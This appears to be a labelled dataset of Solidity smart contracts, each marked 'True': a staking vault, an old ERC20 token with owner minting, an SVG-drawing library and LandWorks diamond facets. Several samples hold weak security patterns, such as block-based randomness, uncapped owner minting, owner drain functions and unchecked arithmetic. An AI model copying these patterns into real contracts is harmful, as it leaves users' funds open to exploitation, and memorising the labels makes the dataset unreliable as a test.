require(cTokenRedeemed <= cTokenBalance[msg.sender], "redeem exceeds balance!"); cTokenBalance[msg.sender] = cTokenBalance[msg.sender].sub(cTokenRedeemed); totalCTokens = totalCTokens.sub(cTokenRedeemed); decreaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenRedeemed); totalTokensWithdrawnByUser[msg.sender] = totalTokensWithdrawnByUser[msg.sender].add(depositTokenReceived); uint feeAmount = depositTokenReceived.mul(FEE_PERCENT_X_100).div(ONE_HUNDRED_X_100); uint depositTokenReceivedAfterFee = depositTokenReceived.sub(feeAmount); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, depositTokenReceivedAfterFee); handleFee(feeAmount, _amountOutMin_tokenFeeBuyBack, deadline); handleEthFee(msg.value, _amountOutMin_ethFeeBuyBack, deadline); if (depositTokenBalance[msg.sender] == 0) { holders.remove(msg.sender); } emit Withdraw(msg.sender, depositTokenReceived); } // emergency withdraw without interacting with uniswap function emergencyWithdraw(uint amount) external noContractsAllowed nonReentrant payable { require(amount > 0, "invalid amount!"); require(amount <= depositTokenBalance[msg.sender], "Cannot withdraw more than deposited!"); require(block.timestamp.sub(depositTime[msg.sender]) > LOCKUP_DURATION, "You recently deposited, please wait before withdrawing."); updateAccount(msg.sender); depositTokenBalance[msg.sender] = depositTokenBalance[msg.sender].sub(amount); totalDepositedTokens = totalDepositedTokens.sub(amount); uint oldCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint oldDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this)); require(CErc20(TRUSTED_CTOKEN_ADDRESS).redeemUnderlying(amount) == 0, "redeemUnderlying failed!"); uint newCTokenBalance = IERC20(TRUSTED_CTOKEN_ADDRESS).balanceOf(address(this)); uint newDepositTokenBalance = IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).balanceOf(address(this)); uint depositTokenReceived = newDepositTokenBalance.sub(oldDepositTokenBalance); uint cTokenRedeemed = oldCTokenBalance.sub(newCTokenBalance); require(cTokenRedeemed <= cTokenBalance[msg.sender], "redeem exceeds balance!"); cTokenBalance[msg.sender] = cTokenBalance[msg.sender].sub(cTokenRedeemed); totalCTokens = totalCTokens.sub(cTokenRedeemed); decreaseTokenBalance(TRUSTED_CTOKEN_ADDRESS, cTokenRedeemed); totalTokensWithdrawnByUser[msg.sender] = totalTokensWithdrawnByUser[msg.sender].add(depositTokenReceived); uint feeAmount = depositTokenReceived.mul(FEE_PERCENT_X_100).div(ONE_HUNDRED_X_100); uint depositTokenReceivedAfterFee = depositTokenReceived.sub(feeAmount); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, depositTokenReceivedAfterFee); // no uniswap interaction // handleFee(feeAmount, _amountOutMin_tokenFeeBuyBack, deadline); // handleEthFee(msg.value, _amountOutMin_ethFeeBuyBack, deadline); if (depositTokenBalance[msg.sender] == 0) { holders.remove(msg.sender); } emit Withdraw(msg.sender, depositTokenReceived); } function handleFee(uint feeAmount, uint _amountOutMin_tokenFeeBuyBack, uint deadline) private { uint buyBackFeeAmount = feeAmount.mul(FEE_PERCENT_TO_BUYBACK_X_100).div(ONE_HUNDRED_X_100); uint remainingFeeAmount = feeAmount.sub(buyBackFeeAmount); // handle distribution distributeTokenDivs(remainingFeeAmount); // handle buyback // --- swap token to platform token here! ---- IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeApprove(address(uniswapRouterV2), 0); IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeApprove(address(uniswapRouterV2), buyBackFeeAmount); uint oldPlatformTokenBalance = IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this)); address[] memory path = new address[](3); path[0] = TRUSTED_DEPOSIT_TOKEN_ADDRESS; path[1] = uniswapRouterV2.WETH(); path[2] = TRUSTED_PLATFORM_TOKEN_ADDRESS; uniswapRouterV2.swapExactTokensForTokens(buyBackFeeAmount, _amountOutMin_tokenFeeBuyBack, path, address(this), deadline); uint newPlatformTokenBalance = IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this)); uint platformTokensReceived = newPlatformTokenBalance.sub(oldPlatformTokenBalance); IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).safeTransfer(BURN_ADDRESS, platformTokensReceived); // ---- end swap token to plaform tokens ----- } function handleEthFee(uint feeAmount, uint _amountOutMin_ethFeeBuyBack, uint deadline) private { require(feeAmount >= MIN_ETH_FEE_IN_WEI, "Insufficient ETH Fee!"); uint buyBackFeeAmount = feeAmount.mul(FEE_PERCENT_TO_BUYBACK_X_100).div(ONE_HUNDRED_X_100); uint remainingFeeAmount = feeAmount.sub(buyBackFeeAmount); // handle distribution distributeEthDivs(remainingFeeAmount); // handle buyback // --- swap eth to platform token here! ---- uint oldPlatformTokenBalance = IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this)); address[] memory path = new address[](2); path[0] = uniswapRouterV2.WETH(); path[1] = TRUSTED_PLATFORM_TOKEN_ADDRESS; uniswapRouterV2.swapExactETHForTokens{value: buyBackFeeAmount}(_amountOutMin_ethFeeBuyBack, path, address(this), deadline); uint newPlatformTokenBalance = IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).balanceOf(address(this)); uint platformTokensReceived = newPlatformTokenBalance.sub(oldPlatformTokenBalance); IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).safeTransfer(BURN_ADDRESS, platformTokensReceived); // ---- end swap eth to plaform tokens ----- } receive () external payable { // receive eth do nothing } function increaseTokenBalance(address token, uint amount) private { tokenBalances[token] = tokenBalances[token].add(amount); } function decreaseTokenBalance(address token, uint amount) private { tokenBalances[token] = tokenBalances[token].sub(amount); } function addPlatformTokenBalance(uint amount) external nonReentrant onlyOwner { increaseTokenBalance(TRUSTED_PLATFORM_TOKEN_ADDRESS, amount); IERC20(TRUSTED_PLATFORM_TOKEN_ADDRESS).safeTransferFrom(msg.sender, address(this), amount); emit PlatformTokenAdded(amount); } function claimExtraTokens(address token) external nonReentrant onlyOwner { if (token == address(0)) { uint ethDiff = address(this).balance.sub(tokenBalances[token]); msg.sender.transfer(ethDiff); return; } uint diff = IERC20(token).balanceOf(address(this)).sub(tokenBalances[token]); IERC20(token).safeTransfer(msg.sender, diff); } function claimAnyToken(address token, uint amount) external onlyOwner { require(now > contractStartTime.add(ADMIN_CAN_CLAIM_AFTER), "Contract not expired yet!"); if (token == address(0)) { msg.sender.transfer(amount); return; } IERC20(token).safeTransfer(msg.sender, amount); } }

True

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pragma solidity ^0.4.8; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* You should inherit from StandardToken or, for a token like you would want to deploy in something like Mist, see HumanStandardToken.sol. (This implements ONLY the standard functions and NOTHING else. If you deploy this, you won't have anything useful.) Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 .*/ contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HumanStandardToken is StandardToken, Ownable { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. function HumanStandardToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[0xd76618b352D0bFC8014Fc44BF31Bd0F947331660] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes owner = 0xd76618b352D0bFC8014Fc44BF31Bd0F947331660; // Set owner } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balances[target] = balances[target] + mintedAmount; totalSupply = totalSupply + mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } }

True

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// SPDX-License-Identifier: Mixed... pragma solidity ^0.8.0; library TypeConversions { // borrowed from https://github.com/provable-things/ethereum-api/issues/102 function uint2str(uint256 _i) internal pure returns (string memory str){ if (_i == 0){ return "0"; } uint256 j = _i; uint256 length; while (j != 0){ length++; j /= 10; } bytes memory bstr = new bytes(length); uint256 k = length; j = _i; while (j != 0){ bstr[--k] = bytes1(uint8(48 + j % 10)); j /= 10; } str = string(bstr); } } /// Copyright (c) Sterling Crispin /// All rights reserved. /// @title DrawSvgOps /// @notice Provides some drawing functions used in MESSAGE /// @author Sterling Crispin <[email protected]> library DrawSvgOps { string internal constant elli1 = '<ellipse cx="'; string internal constant elli2 = '" cy="'; string internal constant elli3 = '" rx="'; string internal constant elli4 = '" ry="'; string internal constant elli5 = '" stroke="mediumpurple" stroke-dasharray="'; string internal constant upgradeShapeEnd = '" fill-opacity="0"/>'; string internal constant strBlank = ' '; function rand(uint num) internal view returns (uint256) { return uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, num))) % num; } function Ellipse(uint256 size) external view returns (string memory){ string memory xLoc = TypeConversions.uint2str(rand(size-1)); string memory yLoc = TypeConversions.uint2str(rand(size-2)); string memory output = string(abi.encodePacked( elli1,xLoc, elli2,yLoc, elli3,TypeConversions.uint2str(rand(size-3)), elli4,TypeConversions.uint2str(rand(size-3)))); output = string(abi.encodePacked( output, elli5,TypeConversions.uint2str(rand(7)+1),upgradeShapeEnd, elli1,xLoc, elli2,yLoc )); output = string(abi.encodePacked( output,elli3, TypeConversions.uint2str(rand(size-4)), elli4,TypeConversions.uint2str(rand(size-5)), elli5,TypeConversions.uint2str(rand(6)+1),upgradeShapeEnd )); output = string(abi.encodePacked( output, elli1,xLoc, elli2,yLoc, elli3,TypeConversions.uint2str(rand(size-5)), elli4)); output = string(abi.encodePacked( output,TypeConversions.uint2str(rand(size-6)), elli5,TypeConversions.uint2str(rand(4)+1),upgradeShapeEnd )); return output; } function Wiggle(uint256 size) external view returns (string memory){ string memory output = string(abi.encodePacked( '<path d="M ', TypeConversions.uint2str(rand(size-1)), strBlank, TypeConversions.uint2str(rand(size-2)), strBlank, 'Q ', TypeConversions.uint2str(rand(size-3)), strBlank)); output = string(abi.encodePacked(output, TypeConversions.uint2str(rand(size-4)), ', ', TypeConversions.uint2str(rand(size-5)), strBlank, TypeConversions.uint2str(rand(size-6)), strBlank, 'T ', TypeConversions.uint2str(rand(size-7)), strBlank, TypeConversions.uint2str(rand(size-8)), '"' )); output = string(abi.encodePacked(output, ' stroke="red" stroke-dasharray="',TypeConversions.uint2str(rand(7)+1), upgradeShapeEnd )); return output; } }

True

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// SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "../adapters/ConsumableAdapterV1.sol"; import "../interfaces/IMetaverseAdditionFacet.sol"; import "../libraries/LibOwnership.sol"; import "../libraries/marketplace/LibMetaverseConsumableAdapter.sol"; import "../libraries/marketplace/LibMarketplace.sol"; contract MetaverseAdditionFacet is IMetaverseAdditionFacet { /// @notice Adds a Metaverse to LandWorks. /// @dev Deploys a consumable adapter for each metaverse registry. /// @param _metaverseId The id of the metaverse /// @param _name Name of the metaverse /// @param _metaverseRegistries A list of metaverse registries, that will be /// associated with the given metaverse id. /// @param _administrativeConsumers A list of administrative consumers, mapped /// 1:1 to its metaverse registry index. Used as a consumer when no active rents are /// active. function addMetaverseWithAdapters( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers ) public { addMetaverse( _metaverseId, _name, _metaverseRegistries, _administrativeConsumers, true ); } /// @notice Adds a Metaverse to LandWorks. /// @dev Sets the metaverse registries as consumable adapters. /// @param _metaverseId The id of the metaverse /// @param _name Name of the metaverse /// @param _metaverseRegistries A list of metaverse registries, that will be /// associated with the given metaverse id. /// @param _administrativeConsumers A list of administrative consumers, mapped /// 1:1 to its metaverse registry index. Used as a consumer when no active rents are /// active. function addMetaverseWithoutAdapters( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers ) public { addMetaverse( _metaverseId, _name, _metaverseRegistries, _administrativeConsumers, false ); } function addMetaverse( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers, bool withAdapters ) internal { require( _metaverseRegistries.length == _administrativeConsumers.length, "invalid metaverse registries and operators length" ); require( bytes(LibMarketplace.metaverseName(_metaverseId)).length == 0, "metaverse name already set" ); require( LibMarketplace.totalRegistries(_metaverseId) == 0, "metaverse registries already exist" ); LibOwnership.enforceIsContractOwner(); LibMarketplace.setMetaverseName(_metaverseId, _name); emit SetMetaverseName(_metaverseId, _name); for (uint256 i = 0; i < _metaverseRegistries.length; i++) { address metaverseRegistry = _metaverseRegistries[i]; address administrativeConsumer = _administrativeConsumers[i]; require( metaverseRegistry != address(0), "_metaverseRegistry must not be 0x0" ); LibMarketplace.setRegistry(_metaverseId, metaverseRegistry, true); emit SetRegistry(_metaverseId, metaverseRegistry, true); address adapter = metaverseRegistry; if (withAdapters) { adapter = address( new ConsumableAdapterV1(address(this), metaverseRegistry) ); } LibMetaverseConsumableAdapter .metaverseConsumableAdapterStorage() .consumableAdapters[metaverseRegistry] = adapter; emit ConsumableAdapterUpdated(metaverseRegistry, adapter); LibMetaverseConsumableAdapter .metaverseConsumableAdapterStorage() .administrativeConsumers[ metaverseRegistry ] = administrativeConsumer; emit AdministrativeConsumerUpdated( metaverseRegistry, administrativeConsumer ); } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "../interfaces/IERC721Consumable.sol"; /// @title Version 1 adapter for metaverse integrations /// @author Daniel K Ivanov /// @notice Adapter for metaverses that lack the necessary consumer role required to be integrated into LandWorks /// For reference see https://eips.ethereum.org/EIPS/eip-4400 contract ConsumableAdapterV1 is IERC165, IERC721Consumable { /// @notice LandWorks address address public immutable landworks; /// @notice NFT Token address IERC721 public immutable token; /// @notice mapping of authorised consumer addresses mapping(uint256 => address) private consumers; constructor(address _landworks, address _token) { landworks = _landworks; token = IERC721(_token); } /// @dev See {IERC721Consumable-consumerOf} function consumerOf(uint256 tokenId) public view returns (address) { return consumers[tokenId]; } /// @dev See {IERC721Consumable-changeConsumer} function changeConsumer(address consumer, uint256 tokenId) public { require( msg.sender == landworks, "ConsumableAdapter: sender is not LandWorks" ); require( msg.sender == token.ownerOf(tokenId), "ConsumableAdapter: sender is not owner of tokenId" ); consumers[tokenId] = consumer; emit ConsumerChanged(msg.sender, consumer, tokenId); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) { return interfaceId == type(IERC721Consumable).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; interface IMetaverseAdditionFacet { event SetMetaverseName(uint256 indexed _metaverseId, string _name); event SetRegistry( uint256 indexed _metaverseId, address _registry, bool _status ); event ConsumableAdapterUpdated( address indexed _metaverseRegistry, address indexed _adapter ); event AdministrativeConsumerUpdated( address indexed _metaverseRegistry, address indexed _administrativeConsumer ); function addMetaverseWithAdapters( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers ) external; function addMetaverseWithoutAdapters( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "./LibDiamond.sol"; library LibOwnership { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function setContractOwner(address _newOwner) internal { LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); address previousOwner = ds.contractOwner; require(previousOwner != _newOwner, "Previous owner and new owner must be different"); ds.contractOwner = _newOwner; emit OwnershipTransferred(previousOwner, _newOwner); } function contractOwner() internal view returns (address contractOwner_) { contractOwner_ = LibDiamond.diamondStorage().contractOwner; } function enforceIsContractOwner() view internal { require(msg.sender == LibDiamond.diamondStorage().contractOwner, "Must be contract owner"); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; library LibMetaverseConsumableAdapter { bytes32 constant METAVERSE_CONSUMABLE_ADAPTER_POSITION = keccak256("com.enterdao.landworks.metaverse.consumable.adapter"); struct MetaverseConsumableAdapterStorage { // Stores the adapters for each metaverse mapping(address => address) consumableAdapters; // Stores the administrative consumers for each metaverse mapping(address => address) administrativeConsumers; // Stores the consumers for each asset's rentals mapping(uint256 => mapping(uint256 => address)) consumers; } function metaverseConsumableAdapterStorage() internal pure returns (MetaverseConsumableAdapterStorage storage mcas) { bytes32 position = METAVERSE_CONSUMABLE_ADAPTER_POSITION; assembly { mcas.slot := position } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; library LibMarketplace { using EnumerableSet for EnumerableSet.AddressSet; bytes32 constant MARKETPLACE_STORAGE_POSITION = keccak256("com.enterdao.landworks.marketplace"); enum AssetStatus { Listed, Delisted } struct Asset { uint256 metaverseId; address metaverseRegistry; uint256 metaverseAssetId; address paymentToken; uint256 minPeriod; uint256 maxPeriod; uint256 maxFutureTime; uint256 pricePerSecond; uint256 totalRents; AssetStatus status; } struct Rent { address renter; uint256 start; uint256 end; } struct MetaverseRegistry { // Name of the Metaverse string name; // Supported registries EnumerableSet.AddressSet registries; } struct MarketplaceStorage { // Supported metaverse registries mapping(uint256 => MetaverseRegistry) metaverseRegistries; // Assets by ID mapping(uint256 => Asset) assets; // Rents by asset ID mapping(uint256 => mapping(uint256 => Rent)) rents; } function marketplaceStorage() internal pure returns (MarketplaceStorage storage ms) { bytes32 position = MARKETPLACE_STORAGE_POSITION; assembly { ms.slot := position } } function setMetaverseName(uint256 _metaverseId, string memory _name) internal { marketplaceStorage().metaverseRegistries[_metaverseId].name = _name; } function metaverseName(uint256 _metaverseId) internal view returns (string memory) { return marketplaceStorage().metaverseRegistries[_metaverseId].name; } function setRegistry( uint256 _metaverseId, address _registry, bool _status ) internal { LibMarketplace.MetaverseRegistry storage mr = marketplaceStorage() .metaverseRegistries[_metaverseId]; if (_status) { require(mr.registries.add(_registry), "_registry already added"); } else { require(mr.registries.remove(_registry), "_registry not found"); } } function supportsRegistry(uint256 _metaverseId, address _registry) internal view returns (bool) { return marketplaceStorage() .metaverseRegistries[_metaverseId] .registries .contains(_registry); } function totalRegistries(uint256 _metaverseId) internal view returns (uint256) { return marketplaceStorage() .metaverseRegistries[_metaverseId] .registries .length(); } function registryAt(uint256 _metaverseId, uint256 _index) internal view returns (address) { return marketplaceStorage() .metaverseRegistries[_metaverseId] .registries .at(_index); } function addRent( uint256 _assetId, address _renter, uint256 _start, uint256 _end ) internal returns (uint256) { LibMarketplace.MarketplaceStorage storage ms = marketplaceStorage(); uint256 newRentId = ms.assets[_assetId].totalRents + 1; ms.assets[_assetId].totalRents = newRentId; ms.rents[_assetId][newRentId] = LibMarketplace.Rent({ renter: _renter, start: _start, end: _end }); return newRentId; } function assetAt(uint256 _assetId) internal view returns (Asset memory) { return marketplaceStorage().assets[_assetId]; } function rentAt(uint256 _assetId, uint256 _rentId) internal view returns (Rent memory) { return marketplaceStorage().rents[_assetId][_rentId]; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; /// @title ERC-721 Consumer Role extension /// Note: the ERC-165 identifier for this interface is 0x953c8dfa interface IERC721Consumable { /// @notice Emitted when `owner` changes the `consumer` of an NFT /// The zero address for consumer indicates that there is no consumer address /// When a Transfer event emits, this also indicates that the consumer address /// for that NFT (if any) is set to none event ConsumerChanged( address indexed owner, address indexed consumer, uint256 indexed tokenId ); /// @notice Get the consumer address of an NFT /// @dev The zero address indicates that there is no consumer /// Throws if `_tokenId` is not a valid NFT /// @param _tokenId The NFT to get the consumer address for /// @return The consumer address for this NFT, or the zero address if there is none function consumerOf(uint256 _tokenId) external view returns (address); /// @notice Change or reaffirm the consumer address for an NFT /// @dev The zero address indicates there is no consumer address /// Throws unless `msg.sender` is the current NFT owner, an authorised /// operator of the current owner or approved address /// Throws if `_tokenId` is not valid NFT /// @param _consumer The new consumer of the NFT function changeConsumer(address _consumer, uint256 _tokenId) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * EIP-2535 Diamond Standard: https://eips.ethereum.org/EIPS/eip-2535 /******************************************************************************/ import { IDiamondCut } from "../interfaces/IDiamondCut.sol"; library LibDiamond { bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("com.enterdao.landworks.storage"); struct FacetAddressAndPosition { address facetAddress; uint96 functionSelectorPosition; // position in facetFunctionSelectors.functionSelectors array } struct FacetFunctionSelectors { bytes4[] functionSelectors; uint256 facetAddressPosition; // position of facetAddress in facetAddresses array } struct DiamondStorage { // maps function selector to the facet address and // the position of the selector in the facetFunctionSelectors.selectors array mapping(bytes4 => FacetAddressAndPosition) selectorToFacetAndPosition; // maps facet addresses to function selectors mapping(address => FacetFunctionSelectors) facetFunctionSelectors; // facet addresses address[] facetAddresses; // Used to query if a contract implements an interface. // Used to implement ERC-165. mapping(bytes4 => bool) supportedInterfaces; // owner of the contract address contractOwner; } function diamondStorage() internal pure returns (DiamondStorage storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } } event DiamondCut(IDiamondCut.FacetCut[] _diamondCut, address _init, bytes _calldata); // Internal function version of diamondCut function diamondCut( IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata ) internal { for (uint256 facetIndex; facetIndex < _diamondCut.length; facetIndex++) { IDiamondCut.FacetCutAction action = _diamondCut[facetIndex].action; if (action == IDiamondCut.FacetCutAction.Add) { addFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors); } else if (action == IDiamondCut.FacetCutAction.Replace) { replaceFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors); } else if (action == IDiamondCut.FacetCutAction.Remove) { removeFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors); } else { revert("LibDiamondCut: Incorrect FacetCutAction"); } } emit DiamondCut(_diamondCut, _init, _calldata); initializeDiamondCut(_init, _calldata); } function addFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal { require(_functionSelectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); 